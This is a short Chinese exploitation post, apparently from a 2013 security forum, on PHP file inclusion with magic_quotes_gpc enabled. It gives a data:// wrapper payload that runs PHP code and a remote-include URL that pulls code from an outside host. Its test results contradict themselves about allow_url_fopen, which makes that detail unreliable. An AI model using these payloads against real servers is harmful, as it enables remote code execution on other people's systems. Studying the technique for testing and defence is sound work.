开启GPC情况下本地包含
文章于 2013-11-19 发表于t00ls
开启GPC情况下本地包含
漏洞代码:
1  | $langx=$_REQUEST['langx'];  | 
环境:
1  | magic_quotes_gpc On  | 
GPC 为on%00 截断?  超长 ././
都不行
post 或get方式提交langx=data://text/plain,<?php phpinfo();?>
相当于 包含了一个内容为 <?php phpinfo();?>.inc.php的文件
所以不用考虑截断
成功执行!
测试:
1  | allow_url_fopen Off  | 
包含失败
1  | allow_url_fopen On  | 
包含失败
依赖条件:
1  | allow_url_fopen On  | 
利用场景:php 版本过高(大于php5.3.4 NULL截断失效)或开启GPC 导致截取失效, 但恰好服务器 php.ini allow_url_fopen、allow_url_include 都配置为on
不过 很少有服务器同时 开启这两个
更多方式期待大家测试与交流
补充:
远程放一个 xx.inc.php
利用:http://target_site/include.php?xx=http://xxoo.com/xx
利用场景更宽